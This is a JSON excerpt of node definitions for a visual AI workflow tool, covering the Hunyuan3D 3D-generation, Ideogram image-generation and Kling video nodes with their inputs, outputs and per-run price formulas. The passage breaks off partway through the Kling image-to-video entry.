"TencentTextToModelNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "The LowPoly option is unavailable for the `3.1` model.", "multiselect": false, "options": ["3.0", "3.1"]}], "prompt": ["STRING", {"tooltip": "Supports up to 1024 characters.", "default": "", "multiline": true}], "face_count": ["INT", {"default": 500000, "min": 3000, "max": 1500000}], "generate_type": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Normal", "inputs": {"required": {"pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "LowPoly", "inputs": {"required": {"polygon_type": ["COMBO", {"multiselect": false, "options": ["triangle", "quadrilateral"]}], "pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "Geometry", "inputs": {"required": {}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "prompt", "face_count", "generate_type", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE"], "output_is_list": [false, false, false, false], "output_name": ["model_file", "GLB", "OBJ", "texture_image"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "TencentTextToModelNode", "display_name": "Hunyuan3D: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "generate_type", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "generate_type.pbr", "type": "BOOLEAN"}, {"name": "face_count", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $base := widgets.generate_type = \"normal\" ? 25 : widgets.generate_type = \"lowpoly\" ? 30 : 15;\n $pbr := $lookup(widgets, \"generate_type.pbr\") ? 10 : 0;\n $face := widgets.face_count != 500000 ? 10 : 0;\n {\"type\":\"usd\",\"usd\": ($base + $pbr + $face) * 0.02}\n )\n "}, "search_aliases": null, "essentials_category": "3D", "has_intermediate_output": false}, "TencentImageToModelNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "The LowPoly option is unavailable for the `3.1` model.", "multiselect": false, "options": ["3.0", "3.1"]}], "image": ["IMAGE", {}], "face_count": ["INT", {"default": 500000, "min": 3000, "max": 1500000}], "generate_type": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Normal", "inputs": {"required": {"pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "LowPoly", "inputs": {"required": {"polygon_type": ["COMBO", {"multiselect": false, "options": ["triangle", "quadrilateral"]}], "pbr": ["BOOLEAN", {"default": false}]}}}, {"key": "Geometry", "inputs": {"required": {}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"image_left": ["IMAGE", {}], "image_right": ["IMAGE", {}], "image_back": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model", "image", "face_count", "generate_type", "seed"], "optional": ["image_left", "image_right", "image_back"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE", "IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false, false, false, false, false], "output_name": ["model_file", "GLB", "OBJ", "texture_image", "optional_metallic", "optional_normal", "optional_roughness"], "output_tooltips": [null, null, null, null, null, null, null], "output_matchtypes": null, "name": "TencentImageToModelNode", "display_name": "Hunyuan3D: Image(s) to Model", "description": "", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "generate_type", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "generate_type.pbr", "type": "BOOLEAN"}, {"name": "face_count", "type": "INT"}], "inputs": ["image_left", "image_right", "image_back"], "input_groups": []}, "expr": "\n (\n $base := widgets.generate_type = \"normal\" ? 25 : widgets.generate_type = \"lowpoly\" ? 30 : 15;\n $multiview := (\n inputs.image_left.connected or inputs.image_right.connected or inputs.image_back.connected\n ) ? 10 : 0;\n $pbr := $lookup(widgets, \"generate_type.pbr\") ? 10 : 0;\n $face := widgets.face_count != 500000 ? 10 : 0;\n {\"type\":\"usd\",\"usd\": ($base + $multiview + $pbr + $face) * 0.02}\n )\n "}, "search_aliases": null, "essentials_category": "3D", "has_intermediate_output": false}, "TencentModelTo3DUVNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_OBJ,FILE_3D_FBX,FILE_3D", {"tooltip": "Input 3D model (GLB, OBJ, or FBX)"}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 1, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_OBJ", "FILE_3D_FBX", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["OBJ", "FBX", "uv_image"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TencentModelTo3DUVNode", "display_name": "Hunyuan3D: Model to UV", "description": "Perform UV unfolding on a 3D model to generate UV texture. Input model must have less than 30000 faces.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Tencent3DTextureEditNode": {"input": {"required": {"model_3d": ["FILE_3D_FBX,FILE_3D", {"tooltip": "3D model in FBX format. Model should have less than 100000 faces."}], "prompt": ["STRING", {"tooltip": "Describes texture editing. Supports up to 1024 UTF-8 characters.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_GLB", "FILE_3D_OBJ", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["GLB", "OBJ", "texture_image"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "Tencent3DTextureEditNode", "display_name": "Hunyuan3D: 3D Texture Edit", "description": "After inputting the 3D model, perform 3D model texture redrawing.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Tencent3DPartNode": {"input": {"required": {"model_3d": ["FILE_3D_FBX,FILE_3D", {"tooltip": "3D model in FBX format. Model should have less than 30000 faces."}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_FBX"], "output_is_list": [false], "output_name": ["FBX"], "output_tooltips": [null], "output_matchtypes": null, "name": "Tencent3DPartNode", "display_name": "Hunyuan3D: 3D Part", "description": "Automatically perform component identification and generation based on the model structure.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TencentSmartTopologyNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_OBJ,FILE_3D", {"tooltip": "Input 3D model (GLB or OBJ)"}], "polygon_type": ["COMBO", {"tooltip": "Surface composition type.", "multiselect": false, "options": ["triangle", "quadrilateral"]}], "face_level": ["COMBO", {"tooltip": "Polygon reduction level.", "multiselect": false, "options": ["medium", "high", "low"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d", "polygon_type", "face_level", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["FILE_3D_OBJ"], "output_is_list": [false], "output_name": ["OBJ"], "output_tooltips": [null], "output_matchtypes": null, "name": "TencentSmartTopologyNode", "display_name": "Hunyuan3D: Smart Topology", "description": "Perform smart retopology on a 3D model. Supports GLB/OBJ formats; max 200MB; recommended for high-poly models.", "python_module": "comfy_api_nodes.nodes_hunyuan3d", "category": "partner/3d/Tencent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":1.0}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV1": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "turbo": ["BOOLEAN", {"tooltip": "Whether to use turbo mode (faster generation, potentially lower quality)", "default": false}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation.", "default": "1:1", "multiselect": false, "options": ["1:1", "4:3", "3:4", "16:9", "9:16", "2:1", "1:2", "3:2", "2:3", "4:5", "5:4"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "negative_prompt": ["STRING", {"tooltip": "Description of what to exclude from the image", "default": "", "multiline": true}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "turbo"], "optional": ["aspect_ratio", "magic_prompt_option", "seed", "negative_prompt", "num_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV1", "display_name": "Ideogram V1", "description": "Generates images using the Ideogram V1 model.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "num_images", "type": "INT"}, {"name": "turbo", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $base := (widgets.turbo = true) ? 0.0286 : 0.0858;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "turbo": ["BOOLEAN", {"tooltip": "Whether to use turbo mode (faster generation, potentially lower quality)", "default": false}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation. Ignored if resolution is not set to AUTO.", "default": "1:1", "multiselect": false, "options": ["1:1", "4:3", "3:4", "16:9", "9:16", "2:1", "1:2", "3:2", "2:3", "4:5", "5:4"]}], "resolution": ["COMBO", {"tooltip": "The resolution for image generation. If not set to AUTO, this overrides the aspect_ratio setting.", "default": "Auto", "multiselect": false, "options": ["Auto", "512 x 1536", "576 x 1408", "576 x 1472", "576 x 1536", "640 x 1024", "640 x 1344", "640 x 1408", "640 x 1472", "640 x 1536", "704 x 1152", "704 x 1216", "704 x 1280", "704 x 1344", "704 x 1408", "704 x 1472", "720 x 1280", "736 x 1312", "768 x 1024", "768 x 1088", "768 x 1152", "768 x 1216", "768 x 1232", "768 x 1280", "768 x 1344", "832 x 960", "832 x 1024", "832 x 1088", "832 x 1152", "832 x 1216", "832 x 1248", "864 x 1152", "896 x 960", "896 x 1024", "896 x 1088", "896 x 1120", "896 x 1152", "960 x 832", "960 x 896", "960 x 1024", "960 x 1088", "1024 x 640", "1024 x 768", "1024 x 832", "1024 x 896", "1024 x 960", "1024 x 1024", "1088 x 768", "1088 x 832", "1088 x 896", "1088 x 960", "1120 x 896", "1152 x 704", "1152 x 768", "1152 x 832", "1152 x 864", "1152 x 896", "1216 x 704", "1216 x 768", "1216 x 832", "1232 x 768", "1248 x 832", "1280 x 704", "1280 x 720", "1280 x 768", "1280 x 800", "1312 x 736", "1344 x 640", "1344 x 704", "1344 x 768", "1408 x 576", "1408 x 640", "1408 x 704", "1472 x 576", "1472 x 640", "1472 x 704", "1536 x 512", "1536 x 576", "1536 x 640"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "style_type": ["COMBO", {"tooltip": "Style type for generation (V2 only)", "advanced": true, "default": "NONE", "multiselect": false, "options": ["AUTO", "GENERAL", "REALISTIC", "DESIGN", "RENDER_3D", "ANIME"]}], "negative_prompt": ["STRING", {"tooltip": "Description of what to exclude from the image", "default": "", "multiline": true}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "turbo"], "optional": ["aspect_ratio", "resolution", "magic_prompt_option", "seed", "style_type", "negative_prompt", "num_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV2", "display_name": "Ideogram V2", "description": "Generates images using the Ideogram V2 model.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "num_images", "type": "INT"}, {"name": "turbo", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $base := (widgets.turbo = true) ? 0.0715 : 0.1144;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV3": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or editing", "default": "", "multiline": true}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional reference image for image editing."}], "mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced)"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio for image generation. Ignored if resolution is not set to Auto.", "default": "1:1", "multiselect": false, "options": ["1:3", "3:1", "1:2", "2:1", "9:16", "16:9", "10:16", "16:10", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "1:1"]}], "resolution": ["COMBO", {"tooltip": "The resolution for image generation. If not set to Auto, this overrides the aspect_ratio setting.", "default": "Auto", "multiselect": false, "options": ["Auto", "512x1536", "576x1408", "576x1472", "576x1536", "640x1344", "640x1408", "640x1472", "640x1536", "704x1152", "704x1216", "704x1280", "704x1344", "704x1408", "704x1472", "736x1312", "768x1088", "768x1216", "768x1280", "768x1344", "800x1280", "832x960", "832x1024", "832x1088", "832x1152", "832x1216", "832x1248", "864x1152", "896x960", "896x1024", "896x1088", "896x1120", "896x1152", "960x832", "960x896", "960x1024", "960x1088", "1024x832", "1024x896", "1024x960", "1024x1024", "1088x768", "1088x832", "1088x896", "1088x960", "1120x896", "1152x704", "1152x832", "1152x864", "1152x896", "1216x704", "1216x768", "1216x832", "1248x832", "1280x704", "1280x768", "1280x800", "1312x736", "1344x640", "1344x704", "1344x768", "1408x576", "1408x640", "1408x704", "1472x576", "1472x640", "1472x704", "1536x512", "1536x576", "1536x640"]}], "magic_prompt_option": ["COMBO", {"tooltip": "Determine if MagicPrompt should be used in generation", "advanced": true, "default": "AUTO", "multiselect": false, "options": ["AUTO", "ON", "OFF"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "num_images": ["INT", {"default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "rendering_speed": ["COMBO", {"tooltip": "Controls the trade-off between generation speed and quality", "advanced": true, "default": "DEFAULT", "multiselect": false, "options": ["DEFAULT", "TURBO", "QUALITY"]}], "character_image": ["IMAGE", {"tooltip": "Image to use as character reference."}], "character_mask": ["MASK", {"tooltip": "Optional mask for character reference image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["image", "mask", "aspect_ratio", "resolution", "magic_prompt_option", "seed", "num_images", "rendering_speed", "character_image", "character_mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV3", "display_name": "Ideogram V3", "description": "Generates images using the Ideogram V3 model. Supports both regular image generation from text prompts and image editing with mask.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "rendering_speed", "type": "COMBO"}, {"name": "num_images", "type": "INT"}], "inputs": ["character_image"], "input_groups": []}, "expr": "\n (\n $n := widgets.num_images;\n $speed := widgets.rendering_speed;\n $hasChar := inputs.character_image.connected;\n $base :=\n $contains($speed,\"quality\") ? ($hasChar ? 0.286 : 0.1287) :\n $contains($speed,\"default\") ? ($hasChar ? 0.2145 : 0.0858) :\n $contains($speed,\"turbo\") ? ($hasChar ? 0.143 : 0.0429) :\n 0.0858;\n {\"type\":\"usd\",\"usd\": $round($base * $n, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "IdeogramV4": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the image generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "Auto", "multiselect": false, "options": ["Auto", "2048x2048 (1:1)", "1440x2880 (1:2)", "2880x1440 (2:1)", "1664x2496 (2:3)", "2496x1664 (3:2)", "1792x2240 (4:5)", "2240x1792 (5:4)", "1440x2560 (9:16)", "2560x1440 (16:9)", "1600x2560 (5:8)", "2560x1600 (8:5)", "1728x2304 (3:4)", "2304x1728 (4:3)", "1296x3168 (9:22)", "3168x1296 (22:9)", "1152x2944 (9:23)", "2944x1152 (23:9)", "1248x3328 (3:8)", "3328x1248 (8:3)", "1280x3072 (5:12)", "3072x1280 (12:5)"]}], "rendering_speed": ["COMBO", {"tooltip": "Controls the trade-off between generation speed and quality.", "default": "DEFAULT", "multiselect": false, "options": ["DEFAULT", "TURBO", "QUALITY"]}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "resolution", "rendering_speed", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "IdeogramV4", "display_name": "Ideogram V4", "description": "Generates images using the Ideogram 4.0 model from a text prompt.", "python_module": "comfy_api_nodes.nodes_ideogram", "category": "partner/image/Ideogram", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "rendering_speed", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $speed := widgets.rendering_speed;\n $price :=\n $contains($speed,\"turbo\") ? 0.0429 :\n $contains($speed,\"quality\") ? 0.143 :\n 0.0858;\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingCameraControls": {"input": {"required": {"camera_control_type": ["COMBO", {"multiselect": false, "options": ["simple", "down_back", "forward_up", "right_turn_forward", "left_turn_forward"]}], "horizontal_movement": ["FLOAT", {"tooltip": "Controls camera's movement along horizontal axis (x-axis). Negative indicates left, positive indicates right", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "vertical_movement": ["FLOAT", {"tooltip": "Controls camera's movement along vertical axis (y-axis). Negative indicates downward, positive indicates upward.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "pan": ["FLOAT", {"tooltip": "Controls camera's rotation in vertical plane (x-axis). Negative indicates downward rotation, positive indicates upward rotation.", "default": 0.5, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "tilt": ["FLOAT", {"tooltip": "Controls camera's rotation in horizontal plane (y-axis). Negative indicates left rotation, positive indicates right rotation.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "roll": ["FLOAT", {"tooltip": "Controls camera's rolling amount (z-axis). Negative indicates counterclockwise, positive indicates clockwise.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}], "zoom": ["FLOAT", {"tooltip": "Controls change in camera's focal length. Negative indicates narrower field of view, positive indicates wider field of view.", "default": 0.0, "min": -10.0, "max": 10.0, "step": 0.25, "display": "slider"}]}}, "input_order": {"required": ["camera_control_type", "horizontal_movement", "vertical_movement", "pan", "tilt", "roll", "zoom"]}, "is_input_list": false, "output": ["CAMERA_CONTROL"], "output_is_list": [false], "output_name": ["camera_control"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingCameraControls", "display_name": "Kling Camera Controls", "description": "Allows specifying configuration options for Kling Camera Controls and motion control effects.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingTextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "cfg_scale": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "mode": ["COMBO", {"tooltip": "The configuration to use for the video generation following the format: mode / duration / model_name.", "default": "pro mode / 5s duration / kling-v2-5-turbo", "multiselect": false, "options": ["standard mode / 5s duration / kling-v1-6", "standard mode / 10s duration / kling-v1-6", "pro mode / 5s duration / kling-v2-master", "pro mode / 10s duration / kling-v2-master", "standard mode / 5s duration / kling-v2-master", "standard mode / 10s duration / kling-v2-master", "pro mode / 5s duration / kling-v2-1-master", "pro mode / 10s duration / kling-v2-1-master", "pro mode / 5s duration / kling-v2-5-turbo", "pro mode / 10s duration / kling-v2-5-turbo"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "cfg_scale", "aspect_ratio", "mode"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["VIDEO", "video_id", "duration"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "KlingTextToVideoNode", "display_name": "Kling Text to Video", "description": "Kling Text to Video Node", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.mode;\n $contains($m,\"v2-5-turbo\")\n ? ($contains($m,\"10\") ? {\"type\":\"usd\",\"usd\":0.7} : {\"type\":\"usd\",\"usd\":0.35})\n : $contains($m,\"v2-1-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v2-master\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":2.8} : {\"type\":\"usd\",\"usd\":1.4})\n : $contains($m,\"v1-6\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.56} : {\"type\":\"usd\",\"usd\":0.28})\n )\n : $contains($m,\"v1\")\n ? (\n $contains($m,\"pro\")\n ? ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.98} : {\"type\":\"usd\",\"usd\":0.49})\n : ($contains($m,\"10s\") ? {\"type\":\"usd\",\"usd\":0.28} : {\"type\":\"usd\",\"usd\":0.14})\n )\n : {\"type\":\"usd\",\"usd\":0.14}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingImage2VideoNode": {"input": {"required": {"start_frame": ["IMAGE", {"tooltip": "The reference image used to generate the video."}], "prompt": ["STRING", {"tooltip": "Positive text prompt", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt", "multiline": true}], "model_name": ["COMBO", {"default": "kling-v2-master", "multiselect": false, "options": ["kling-v1", "kling-v1-5", "kling-v1-6", "kling-v2-master", "kling-v2-1", "kling-v2-1-master", "kling-v2-5-turbo"]}], "cfg_scale": ["FLOAT", {"default": 0.8, "min": 0.0, "max": 1.0}], "mode": ["COMBO", {"default": "std", "multiselect": false, "options": ["std", "pro"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "duration": ["COMBO", {"default": "5", "multiselect": false, "options": 